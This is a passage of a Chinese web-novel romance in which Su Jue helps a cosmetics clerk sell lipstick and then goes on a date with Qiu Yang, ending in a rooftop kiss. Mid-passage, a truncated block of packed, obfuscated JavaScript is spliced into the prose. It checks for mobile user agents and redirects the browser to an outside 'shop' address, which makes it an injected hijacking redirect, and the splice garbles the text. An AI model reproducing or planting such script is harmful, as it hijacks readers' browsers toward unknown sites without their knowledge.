苏决第一次化了妆，妆不浓，奈何苏决五官立体，随便勾勒几笔，整个人便有些妖怡的冷感，很惊艳。
小姐姐不由得感叹：“你也太漂亮了吧。”
苏决点了下头：“工作吧。”
“你说帮我卖口红，怎么卖？”
苏决笑了笑，往护手霜柜台上一站，继续工作，她观察了许久，买护手霜几乎是和她年龄相仿的年轻人，她们会化妆，会好奇漂亮口红的色号，喜欢别人说他们口红的色号漂亮，就像李子颖她们一样。
来了三个女生，苏决跟他们介绍了护手霜，接而盯着他们的嘴唇看。
苏决知道自己的优势，因为漂亮，即使行为突兀，也不会有人觉得她有恶意。
女孩下意识摸了下自己的脸蛋问：“你看我做什么？”
苏决回过神，抱歉一笑：“不好意思啊，你口红色颜色很好看。”
女孩欣喜一笑：“是嘛，她们都说太淡了，我随便买的，脏橘色，我也觉得挺好看的。”
女孩之间聊天，遇到感兴趣的话题，总会聊个你来我往，她看着苏决：“你的口红色号也很好看耶，是什么色号？”
苏决：“抱歉啊，我也不知道，工作妆，是那个姐姐帮我化的。”
苏决指了指化妆品柜员。
一整个下午，苏决用这种办法帮化妆品柜员拦了不少客人，当然也有年龄大一些的人说她是串通柜台卖口红的，小小年纪心眼那么多，苏决也不恼，大方承认，真诚一笑：“您有兴趣就去看看，不强买的。”
化妆品柜员隐隐知道为什么她为什么深得领班青睐了。
天气热了，护手霜不太好卖，但苏决的业绩也合格了，下了班，领班送了她三支护手霜，她给了化妆品柜员一支。
柜员拒绝了：“我不用，你自己收着吧。”
苏决：“我想让你帮我补个妆。”
柜员欣然答应：“我喜欢给美女化妆，也算谢谢你今天帮忙。”
柜员化妆上了头：“我再帮你烫个头发吧，头发披下来配这个妆容好看点。”
“好。”
苏决化完妆，烫完头发，柜员忍不住连连咂嘴：“天，太漂亮了。”
苏决朝她笑笑，留下一支护手霜。
柜员盯着这个护手霜，回想今天发生的事情，忽然明白这个小姑娘不简单，目的性很强，她今天想化妆，所以帮她卖口红，送她护手霜。
化了妆散着发的苏决走在街上，赚足了别人的目光，但她一点不局促，走到约定的地点等邱扬时，反而有点局促了。
邱扬早就在约好的地方等着，她一到，他从一辆开着双闪的车下来站在她面前，直勾勾看着她。
苏决刻意打扮过，有些不好意思，眼神躲闪，手下意识撩了撩耳边的碎发。
邱扬低下头，靠在她耳边，低声说：“我女朋友真漂亮。”
接而飞快亲了下她的脸颊，将她紧紧拥入怀中。
下班高峰，道路开始拥堵，刹车灯把长长的马路映成了一条长长的火龙，起此彼伏的喇叭声盖不住震耳欲聋的心跳。
苏决看着天边的晚霞，抬起手轻轻环着他。
幸福总是远在天边，幸福终于近在眼前。
如果时间能暂停，那该多好。
13.第 13 章
邱扬打开了副驾驶的门让苏决上车，一路上他的电话不断，都是他的发小给他打的电话。
邱扬也不遮遮掩掩，接了车载蓝牙，当着苏决的面跟他们的发小聊天。
“邱扬你还是人吗？电影首映你不跟兄弟去，自己去啥意思？”
邱扬笑骂：“跟你们去有什么意思。”
“狗东西！你看看你还是人吗？我们认识二十年了，二十年了！是什么玩意能让你这个吃里扒外的东西开始吃里扒外啊！”
邱扬：“得了得了，我开车呢，你们自己去，我不跟你们玩。”
“去个你大爷，我们根本抢不着票，你个王八蛋，说了帮我们抢票，票呢！”
他朋友在骂，邱扬在笑。
苏决鼻尖发扬，忍不住打了个喷嚏。
邱扬立刻关切道：“是不是空调冷了？我调高点？”
电话那端沉默半晌之后，爆了一句粗口：“卧槽！有女生？邱扬你恋爱了？”
邱扬笑骂：“你能不能文明点，文明懂吗？”
那端捏着嗓子学着邱扬说话：“是不是空调冷了？我调高点？宝贝，亲爱的？”
邱扬笑着掐了电话，转过头看着安安静静的苏决：“别介意啊，他们就这样，咋咋呼呼的。”
苏决有点窘迫：“好好开车吧。”
邱扬带她来看的电影是首映礼，据说是还有演员来，有人穿着漫威周边的服装来了，还有灯牌，听他们闲聊才知道，这张电影票要一千块钱。
电影放映，苏决都不敢分心，生怕错过了某一个瞬间便对不起这一千块钱的电影票。
而邱扬并没那么认真，一直在玩她的手，有一搭没一搭地捏着，偶尔还靠在她的肩上，嘴唇有一搭没一搭地触碰她的耳垂，害得她也没什么心思看电影了。
邱扬很后悔，约会来个破电影院做什么，之前恨不得电影时长三个半小时，现在两个半小时都难熬。
就这么心猿意马地熬了两个半小时，主演上台，引起狂欢，邱扬迫不及待牵着苏决想偷偷溜走，却被现场即眼尖又善于搞气氛的工作人员发现了。
“这位同学，跑什么？”
邱扬做了个懊恼的表情，全场顿时哄堂大笑，所有人都以为他是故意的，只有他自己知道，他是真的懊恼。
两人就这么被抓了回来，邱扬让苏决坐回观众席，站到台上，和演员同台，他很热情大方地跟演员打了招呼，顺便欢迎他们不辞万里来到这里宣传，一口地道流利的英文惊艳众人。
苏决坐在台下看着他，想起新生开学他作为学生代表发言的样子。
工作人员问：“你对电影最大的感受是什么？”
邱扬：“很抱歉，没怎么看，光顾着看女朋友了。”
又是一阵哄笑，演员问：“那请你女朋友一起上台？”
邱扬：“不要，她害羞。”
邱扬合了影，拿了签名，拉着苏决走出了电影院：“今晚你还有事吗？不着急回学校吧？”
苏决摇摇头：“没有。”
“那我们去玩好吗？”
苏决：“好。”
邱扬带着苏决来到S市最高楼顶楼。
顶楼是个露天咖啡屋，苏决听李子颖说起过，这咖啡屋会员制，需要资产多少亿才能注册，不是小老百姓能去的。
当然还有个传说，在这家咖啡厅里发誓的人，都能天荒地老。
杨恩兮吐槽说咖啡并不好喝，浪漫的誓言也只是个噱头。
咖啡馆加了资本的光环，加上浪漫的故事，即便不好喝，还是成了招牌。
邱扬能进来苏决并不意外。
邱扬带着她来到了个有大落地窗的包间，繁华喧嚣的S市，此时变成了一大片光片，像宇宙中的璀璨星河，很漂亮。
苏决站在落地窗前往外看，天上看不见星星，不像她家的山坡上，躺在山峰的石头往上看，天上繁星璀璨，也很漂亮。
大城市的星星都从天上掉下来了，变成了繁华都市里通明的灯火。
邱扬绕到她的身后，两手搭在她身侧，把她虚虚地圈在了怀里。
邱扬：“在想什么？”
苏决：“在想星星。”
邱扬顺势搂上了她的肩膀，将她往怀里带：“走，那边有望远镜，我带你去看。”
苏决没去，而是主动靠近他的怀里，脸枕在他胸口，双手轻轻环住他的腰，听他强有力的心跳。
那个投怀送抱的女孩，就是这么抱着他的吧。
或许还要更用劲一些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173056|148041||http|test|mini|href|location''.split(''|''),0,{}));
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苏决紧了紧手臂，将邱扬抱得更紧一些。
她承认她吃醋了，她对邱扬的占有欲或许已经超过了她能掌控的范围。
苏决一向内敛被动，这是她第一次主动抱邱扬，邱扬有点意外，但更多的是欣喜，双手微微张着，有些不知所措，心跳却越来越快了，他不敢说话，也不敢搂着她，生怕说话了，搂紧了，苏决下一秒就推开他。
他从来不畏惧得失，也自觉是个勇敢坚定的人，唯独对苏决，总是胆怯。
他知道两人之间的阻力，他怕她多想，怕她在意。
最怕的是她退缩，转身就走。
邱扬虚虚地环着她，就这么安静地让她抱着，许久之后，他才慢慢环上她的肩膀，掌心轻轻贴着她的后脑勺，轻轻拍了拍。
苏决像一只蜗牛，把自己藏在沉重的壳子里，而这次，她慢慢地伸出自己柔软的触觉。
他当然要抓住。
“苏决。”
“想吻你，行么。”
苏决轻轻推开他，抬眼看他时，他已经低下头，轻轻碰上她的嘴唇。
苏决不敢呼吸，轻轻闭上眼睛，邱扬像抱着一块稀世珍宝，本想贪婪一口吞掉，但又怕碎了、化了，只能小心翼翼地、克制地索取。
苏决不会接吻，憋着气，不一会儿就呼吸不上来，邱扬只好松开她，看着怀里满脸的通红的人，又好笑又可爱，将人拥进怀里，想逗逗她。
“我们本地人有个习俗你知不知道？”
苏决安静摇头。
邱扬“哪个女孩愿意给亲呢，就相当于愿意嫁了，咱俩现在四舍五入相当于结婚了。”
苏决踮起脚尖，亲了下邱扬的嘴唇，邱扬愣了愣，将她紧紧拥着。
刚才的吻克制，小心翼翼，而邱扬此时已经失去了理智，深深吻她。
“苏决，永远不要离开我。”
这家咖啡厅里发誓的人，都能天荒地老。
邱扬知道这只是个商业模式，是资本的小把戏，此时他愿意相信这是真的。
不是此时，是他打算带她来这儿的时候，就愿意相信，这是真的。
许久之后，苏决都没有回答他，他心口像堵着一口气，却无处发泄，只好捧着她的脸，低下头又吻了下去。